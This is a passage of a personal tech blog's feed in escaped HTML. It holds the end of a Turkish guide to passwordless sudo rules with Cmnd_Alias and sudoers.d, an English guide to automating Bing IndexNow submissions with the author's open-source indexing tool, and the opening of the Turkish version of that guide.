&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman
friday13 ALL=(ALL) NOPASSWD: MYTOOLS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ Cmnd_Alias kullanarak izinleri grupland&amp;inodot;r&amp;inodot;rs&amp;inodot;n; bu y&amp;ouml;netimi kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="3-degisiklikleri-etcsudoersd-altnda-tut"&gt;3. De&amp;gbreve;i&amp;scedil;iklikleri &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; Alt&amp;inodot;nda Tut&lt;a class="headerlink" href="#3-degisiklikleri-etcsudoersd-altnda-tut" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ana &lt;code&gt;sudoers&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; do&amp;gbreve;rudan d&amp;uuml;zenlemek yerine ayr&amp;inodot; bir dosya olu&amp;scedil;tur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/10_mytools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dosya i&amp;ccedil;eri&amp;gbreve;i &amp;ouml;rne&amp;gbreve;i:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman
friday13 ALL=(ALL) NOPASSWD: MYTOOLS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu y&amp;ouml;ntem hem d&amp;uuml;zeni korur hem de y&amp;ouml;netimi kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;h3 id="4-test-etme-yontemleri"&gt;4. Test Etme Y&amp;ouml;ntemleri&lt;a class="headerlink" href="#4-test-etme-yontemleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;De&amp;gbreve;i&amp;scedil;iklikleri do&amp;gbreve;rulamak i&amp;ccedil;in &amp;scedil;u ad&amp;inodot;mlar&amp;inodot; uygula:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Sudo &amp;ouml;nbelle&amp;gbreve;ini temizle&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/tee&lt;span class="w"&gt; &lt;/span&gt;/sys/class/leds/input4::scrolllock/brightness&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Kullan&amp;inodot;c&amp;inodot;n&amp;inodot;n sudo izinlerini listele&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;sudo -n&lt;/code&gt; komutu parola istemeden deneme yapar; e&amp;gbreve;er hata vermezse ayar&amp;inodot;n do&amp;gbreve;ru &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor demektir. ✅&lt;/p&gt;
&lt;h2 id="yaygn-tuzaklar-ve-dikkat-edilmesi-gerekenler_1"&gt;Yayg&amp;inodot;n Tuzaklar ve Dikkat Edilmesi Gerekenler&lt;a class="headerlink" href="#yaygn-tuzaklar-ve-dikkat-edilmesi-gerekenler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! &lt;code&gt;NOPASSWD&lt;/code&gt; iznini geni&amp;scedil; tutmak ciddi g&amp;uuml;venlik a&amp;ccedil;&amp;inodot;klar&amp;inodot;na yol a&amp;ccedil;abilir ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: &lt;code&gt;sudo -l&lt;/code&gt; ile hangi komutlara izin verildi&amp;gbreve;ini d&amp;uuml;zenli aral&amp;inodot;klarla kontrol et.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="ozet"&gt;&amp;Ouml;zet&lt;a class="headerlink" href="#ozet" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudoers&lt;/code&gt; i&amp;ccedil;inde &lt;strong&gt;tam yol&lt;/strong&gt; belirtmek zorunludur.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cmnd_Alias&lt;/code&gt; kullanarak izinleri grupla; y&amp;ouml;netim kolayla&amp;scedil;&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;De&amp;gbreve;i&amp;scedil;iklikleri &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; i&amp;ccedil;inde tut ve &lt;code&gt;visudo&lt;/code&gt; ile d&amp;uuml;zenle.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo -n&lt;/code&gt; ve &lt;code&gt;sudo -l&lt;/code&gt; ile test ederek do&amp;gbreve;rula.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="faydal-komutlar"&gt;Faydal&amp;inodot; Komutlar&lt;a class="headerlink" href="#faydal-komutlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/10_mytools
sudo&lt;span class="w"&gt; &lt;/span&gt;-k
sudo&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/tee&lt;span class="w"&gt; &lt;/span&gt;/sys/class/leds/input4::scrolllock/brightness&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="kaynaklar"&gt;Kaynaklar&lt;a class="headerlink" href="#kaynaklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;ArchWiki: &lt;a href="https://wiki.archlinux.org/title/Sudo" rel="noopener noreferrer" target="_blank"&gt;Sudo - Root eri&amp;scedil;imi&lt;/a&gt;
&lt;code&gt;man sudoers&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="sonuc"&gt;Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu ad&amp;inodot;mlarla &lt;code&gt;sudoers &amp;scedil;ifresiz komut &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma&lt;/code&gt; sorununu g&amp;uuml;venli ve kal&amp;inodot;c&amp;inodot; &amp;scedil;ekilde &amp;ccedil;&amp;ouml;zebilirsin.
Denedi&amp;gbreve;inde sonucu veya hangi komutlara izin verdi&amp;gbreve;ini yorumlara yaz &amp;mdash; beraber daha g&amp;uuml;venli ayarlar kural&amp;inodot;m! 🎉&lt;/p&gt;
&lt;p&gt;&lt;img alt="Linux Sudoers &amp;Scedil;ifre istemeden i&amp;scedil;lem yapma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/linux-sudoers-sifresiz-komut-xl.webp" srcset="/images/linux-sudoers-sifresiz-komut-sm.webp 300w, /images/linux-sudoers-sifresiz-komut-md.webp 500w, /images/linux-sudoers-sifresiz-komut-lg.webp 800w, /images/linux-sudoers-sifresiz-komut-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Sistem &amp;uuml;zerindeki kritik dosya ve ayarlara eri&amp;scedil;im izni anlam&amp;inodot;na gelir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="sudoers"/><category term="linux güvenlik"/><category term="sudo"/><category term="otomasyon"/></entry><entry><title>Automatic Bing IndexNow Usage: Get Your Site Indexed in Seconds!</title><link href="https://yuceltoluyag.github.io/en/otomatik-bing-indexnow-kullanimi/" rel="alternate"/><published>2025-11-06T19:00:00+03:00</published><updated>2025-11-06T19:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-06:/en/otomatik-bing-indexnow-kullanimi/</id><summary type="html">&lt;p&gt;Do you want your content to appear instantly on Bing? With automatic Bing IndexNow usage, it's now very easy. Discover how it's done.&lt;/p&gt;</summary><content type="html">&lt;p&gt;So you've just published a brand new blog post, but Bing takes ages to visit your site and index it? 😤 Waiting days for search engine spiders to discover your content feels as painfully slow as waiting for your turn to play Space Cadet Pinball in the morning freeze back in high school.&lt;/p&gt;
&lt;p&gt;If you are a paranoid developer like me, running Arch Linux and wanting to control every single piece of your system, sitting around and waiting for search engines to crawl you is absolute torture. But what if you could notify Bing of any changes on your site "instantly"? That is where &lt;strong&gt;Bing IndexNow usage&lt;/strong&gt; comes in to change the game.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="what-is-bing-indexnow"&gt;What is Bing IndexNow? 🤔&lt;a class="headerlink" href="#what-is-bing-indexnow" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;IndexNow is a super simple yet powerful protocol that lets you instantly "ping"&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; search engines when a change occurs on your site (like publishing a new post, updating an old one, or deleting a page). Instead of submitting a sitemap and waiting for their crawlers' convenience, you knock on their door and say: "New content is ready, come crawl it now!"&lt;/p&gt;
&lt;p&gt;And no, we won't be doing this process manually every time. We are going to completely automate this using a modern, smart CLI utility.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: Not Just Bing!&lt;/p&gt;
&lt;p&gt;When you use the IndexNow protocol, the URLs you submit are automatically shared not just with Bing, but also Yandex and other participating search engines. You reach multiple search engines with a single action!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="a-modern-solution-google-bing-indexing-tool"&gt;🔧 A Modern Solution: Google &amp;amp; Bing Indexing Tool&lt;a class="headerlink" href="#a-modern-solution-google-bing-indexing-tool" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We previously set up a similar structure for Google in our &lt;a href="/en/google-indexing-api-nasil-kullanilir/"&gt;Google Indexing API Guide&lt;/a&gt; article. Now it's Bing's turn!&lt;/p&gt;
&lt;p&gt;Dealing with raw scripts or running manual commands every day is a cheap student meal solution. Since we aim for professional workflows, we should do things in a clean and organized way.&lt;/p&gt;
&lt;p&gt;To resolve indexing issues across all my projects, I developed the open-source &lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;Google Indexing Tool&lt;/a&gt;. It automates the whole process and handles both Google and Bing IndexNow submissions out-of-the-box.&lt;/p&gt;
&lt;p&gt;The best part? You can install this tool &lt;strong&gt;globally&lt;/strong&gt; on your system and run it across all your different blog directories with a single command.&lt;/p&gt;
&lt;h3 id="global-installation-and-setup"&gt;📦 Global Installation and Setup&lt;a class="headerlink" href="#global-installation-and-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open your terminal and install the tool directly from GitHub:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;git+https://github.com/yuceltoluyag/google-indexing-tool.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This command installs a global &lt;code&gt;google-indexer&lt;/code&gt; command. Now, you can manage indexing from any of your blog folders.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;config.ini&lt;/code&gt; file in your blog's root directory and fill it out:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[PELICAN]&lt;/span&gt;
&lt;span class="na"&gt;ARTICLES_PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;content/articles&lt;/span&gt;
&lt;span class="na"&gt;SITE_URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/&lt;/span&gt;

&lt;span class="k"&gt;[DEFAULT]&lt;/span&gt;
&lt;span class="na"&gt;CSV_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;article_links.csv&lt;/span&gt;
&lt;span class="na"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;service-account.json&lt;/span&gt;
&lt;span class="na"&gt;LOG_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;indexing.log&lt;/span&gt;

&lt;span class="k"&gt;[API]&lt;/span&gt;
&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://indexing.googleapis.com/v3/urlNotifications:publish&lt;/span&gt;
&lt;span class="na"&gt;REQUEST_DELAY_SECONDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;COOLDOWN_DAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;[BING]&lt;/span&gt;
&lt;span class="na"&gt;API_KEY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;your_bing_indexnow_api_key&lt;/span&gt;
&lt;span class="na"&gt;KEY_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/your_bing_indexnow_api_key.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ API Key and Verification&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;API_KEY&lt;/code&gt; field, enter the IndexNow API key generated from your Bing Webmaster Tools dashboard. The &lt;code&gt;KEY_LOCATION&lt;/code&gt; is the public URL of the &lt;code&gt;.txt&lt;/code&gt; file containing your key. Bing reads this file to verify that you actually own the domain.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="step-by-step-automation-workflow"&gt;⚙️ Step-by-Step Automation Workflow&lt;a class="headerlink" href="#step-by-step-automation-workflow" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Once configuration is set, navigate to your blog directory and execute the following commands:&lt;/p&gt;
&lt;h4 id="step-1-export-pelican-posts-to-the-tracking-db"&gt;Step 1: Export Pelican Posts to the Tracking DB&lt;a class="headerlink" href="#step-1-export-pelican-posts-to-the-tracking-db" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Scan all published articles on your site and append any new entries to the tracking file &lt;code&gt;article_links.csv&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This file serves as a simple database tracking when each URL was sent to Google or Bing. Run this command whenever you update your site to keep the records updated.&lt;/p&gt;
&lt;h4 id="step-2-batch-submit-to-bing-indexnow"&gt;Step 2: Batch Submit to Bing IndexNow&lt;a class="headerlink" href="#step-2-batch-submit-to-bing-indexnow" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Here is a critical detail: instead of sending requests one by one, Bing accepts all your new URLs in a single batch package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Run a dry-run simulation first to see what gets submitted:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing&lt;span class="w"&gt; &lt;/span&gt;--dry-run

&lt;span class="c1"&gt;# Submit to Bing for real:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That's all! Once you receive a &lt;code&gt;Status Code: 200&lt;/code&gt; or &lt;code&gt;202&lt;/code&gt; response and see the "CSV file updated" message in your terminal, your URLs have successfully reached Bing and are marked with a timestamp to avoid redundant submissions.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="what-we-learned_1"&gt;📋 What We Learned&lt;a class="headerlink" href="#what-we-learned" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Instant Ping:&lt;/strong&gt; Search engines learn about new posts instantly via the IndexNow protocol.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Single-command Automation:&lt;/strong&gt; The &lt;code&gt;google-indexer&lt;/code&gt; tool lets you submit all new posts to Bing in one go.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-engine Reach:&lt;/strong&gt; Pinging Bing automatically shares the update with other participating engines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart Database:&lt;/strong&gt; The tool keeps track of sent URLs to avoid wasting API limits.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion"&gt;🎯 Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As you can see, using &lt;strong&gt;automatic Bing IndexNow&lt;/strong&gt; means you no longer have to wait on search spiders to find your content. With this simple yet robust automation, you can give your site's SEO performance a massive boost.&lt;/p&gt;
&lt;p&gt;Have you tried this system or are you planning to set it up? Share your thoughts and questions in the comments below! 👇&lt;/p&gt;
&lt;hr/&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/google-indexing-api-nasil-kullanilir/"&gt;Guide: How to use Google Indexing API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;GitHub Project Page&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Add your site to search results instantly with Bing IndexNow automatic indexing." class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp" srcset="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-sm.webp 300w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-md.webp 500w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-lg.webp 800w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;strong&gt;Ping:&lt;/strong&gt; In computer networks, sending a small data packet to a destination to verify if it is reachable, or notifying a service of status updates instantly.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Web Geliştirme"/><category term="Bing IndexNow"/><category term="SEO"/><category term="Otomasyon"/><category term="Python"/><category term="Indexing API"/></entry><entry><title>Otomatik Bing IndexNow Kullanımı: Siteniz Saniyeler İçinde Dizine Eklensin!</title><link href="https://yuceltoluyag.github.io/otomatik-bing-indexnow-kullanimi/" rel="alternate"/><published>2025-11-06T19:00:00+03:00</published><updated>2025-11-06T19:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-06:/otomatik-bing-indexnow-kullanimi/</id><summary type="html">&lt;p&gt;İçeriklerinizin Bing'de anında yer almasını mı istiyorsunuz? Otomatik Bing IndexNow kullanımı ile bu artık çok kolay. Nasıl yapıldığını keşfedin.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yeni bir blog yaz&amp;inodot;s&amp;inodot; patlatt&amp;inodot;n, heyecanla yay&amp;inodot;na ald&amp;inodot;n ama Google yetmezmi&amp;scedil; gibi Bing de sitene g&amp;uuml;nlerce u&amp;gbreve;ram&amp;inodot;yor mu? 😤 S&amp;inodot;rf robotlar&amp;inodot;n keyfi yetip de yeni yaz&amp;inodot;y&amp;inodot; ke&amp;scedil;fetsin diye g&amp;uuml;nlerce beklemek, sabah ayaz&amp;inodot;nda okul formas&amp;inodot;yla Space Cadet Pinball oynamak i&amp;ccedil;in jeton s&amp;inodot;ras&amp;inodot; beklemek kadar sab&amp;inodot;r gerektirir. &lt;/p&gt;
&lt;p&gt;Benim gibi Arch Linux kullanan, sisteminin her h&amp;uuml;cresini kontrol alt&amp;inodot;nda tutmak isteyen paronayak bir geli&amp;scedil;tiriciysen, arama motorlar&amp;inodot;n&amp;inodot;n siteni ne zaman ziyaret edece&amp;gbreve;ini pasif &amp;scedil;ekilde beklemek tam bir i&amp;scedil;kencedir. Peki ya sana sitende yapt&amp;inodot;&amp;gbreve;&amp;inodot;n en ufak de&amp;gbreve;i&amp;scedil;ikli&amp;gbreve;i Bing'e "an&amp;inodot;nda" bildirebilece&amp;gbreve;ini s&amp;ouml;ylesem? &amp;Idot;&amp;scedil;te bu noktada &lt;strong&gt;Bing IndexNow kullan&amp;inodot;m&amp;inodot;&lt;/strong&gt; devreye giriyor ve oyunu tamamen de&amp;gbreve;i&amp;scedil;tiriyor.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="bing-indexnow-nedir"&gt;Bing IndexNow Nedir? 🤔&lt;a class="headerlink" href="#bing-indexnow-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;IndexNow, web sitende bir de&amp;gbreve;i&amp;scedil;iklik oldu&amp;gbreve;unda (yeni yaz&amp;inodot; ekledi&amp;gbreve;inde, eskiyi g&amp;uuml;ncelledi&amp;gbreve;inde ya da bir sayfay&amp;inodot; sildi&amp;gbreve;inde) arama motorlar&amp;inodot;na an&amp;inodot;nda bir "ping"&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; f&amp;inodot;rlatman&amp;inodot; sa&amp;gbreve;layan a&amp;scedil;&amp;inodot;r&amp;inodot; basit ama etkili bir protokold&amp;uuml;r. Sitemap g&amp;ouml;nderip arama motorlar&amp;inodot;n&amp;inodot;n keyfini beklemek yerine, kap&amp;inodot;lar&amp;inodot;na dayan&amp;inodot;p "Yeni i&amp;ccedil;erik haz&amp;inodot;r, hemen gel bak!" demenin en h&amp;inodot;zl&amp;inodot; yoludur.&lt;/p&gt;
&lt;p&gt;Peki, bu s&amp;uuml;reci her seferinde manuel olarak m&amp;inodot; yapaca&amp;gbreve;&amp;inodot;z? Elbette hay&amp;inodot;r! Geli&amp;scedil;tirdi&amp;gbreve;imiz yeni nesil ak&amp;inodot;ll&amp;inodot; ara&amp;ccedil; ile bu i&amp;scedil;i tamamen otomatikle&amp;scedil;tirece&amp;gbreve;iz.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Sadece Bing De&amp;gbreve;il!&lt;/p&gt;
&lt;p&gt;IndexNow protokol&amp;uuml;n&amp;uuml; kulland&amp;inodot;&amp;gbreve;&amp;inodot;nda, g&amp;ouml;nderdi&amp;gbreve;in URL'ler sadece Bing'e de&amp;gbreve;il, Yandex gibi di&amp;gbreve;er kat&amp;inodot;l&amp;inodot;mc&amp;inodot; arama motorlar&amp;inodot;na da otomatik olarak iletilir. Tek bir ping ile birden &amp;ccedil;ok arama motorunu harekete ge&amp;ccedil;irirsin!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="coklu-projeler-icin-modern-cozum-google-bing-indexing-tool"&gt;🔧 &amp;Ccedil;oklu Projeler &amp;Idot;&amp;ccedil;in Modern &amp;Ccedil;&amp;ouml;z&amp;uuml;m: Google &amp;amp; Bing Indexing Tool&lt;a class="headerlink" href="#coklu-projeler-icin-modern-cozum-google-bing-indexing-tool" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Daha &amp;ouml;nce &lt;a href="/google-indexing-api-nasil-kullanilir/"&gt;Google Indexing API kullan&amp;inodot;m&amp;inodot;&lt;/a&gt; yaz&amp;inodot;m&amp;inodot;zda benzer bir yap&amp;inodot;y&amp;inodot; Google i&amp;ccedil;in kurmu&amp;scedil;tuk. &amp;Scedil;imdi s&amp;inodot;ra Bing'de!&lt;/p&gt;
&lt;p&gt;Yukar&amp;inodot;daki gibi ham kodlarla u&amp;gbreve;ra&amp;scedil;mak, her g&amp;uuml;n elle betik &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak tam bir makarna-yo&amp;gbreve;urt &amp;ouml;&amp;gbreve;renci yeme&amp;gbreve;i &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; olurdu. Profesyonel &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yorsak, i&amp;scedil;i daha temiz halletmeliyiz.&lt;/p&gt;
&lt;p&gt;Kendi projelerimde ya&amp;scedil;ad&amp;inodot;&amp;gbreve;&amp;inodot;m dizin sorunlar&amp;inodot;n&amp;inodot; tek elden &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in geli&amp;scedil;tirdi&amp;gbreve;im a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; &lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;Google Indexing Tool&lt;/a&gt; projesi, t&amp;uuml;m bu s&amp;uuml;reci otomatik ve ak&amp;inodot;ll&amp;inodot; hale getiriyor. &amp;Uuml;stelik sadece Google ile s&amp;inodot;n&amp;inodot;rl&amp;inodot; kalmay&amp;inodot;p Bing IndexNow entegrasyonu da sunuyor.&lt;/p&gt;
&lt;p&gt;En tatl&amp;inodot; taraf&amp;inodot; ne biliyor musun? Bu arac&amp;inodot; sistemine &lt;strong&gt;global&lt;/strong&gt; olarak kurup, bilgisayar&amp;inodot;ndaki t&amp;uuml;m farkl&amp;inodot; blog projelerinde tek bir komutla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabiliyorsun.&lt;/p&gt;
&lt;h3 id="global-kurulum-ve-hazrlk"&gt;📦 Global Kurulum ve Haz&amp;inodot;rl&amp;inodot;k&lt;a class="headerlink" href="#global-kurulum-ve-hazrlk" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
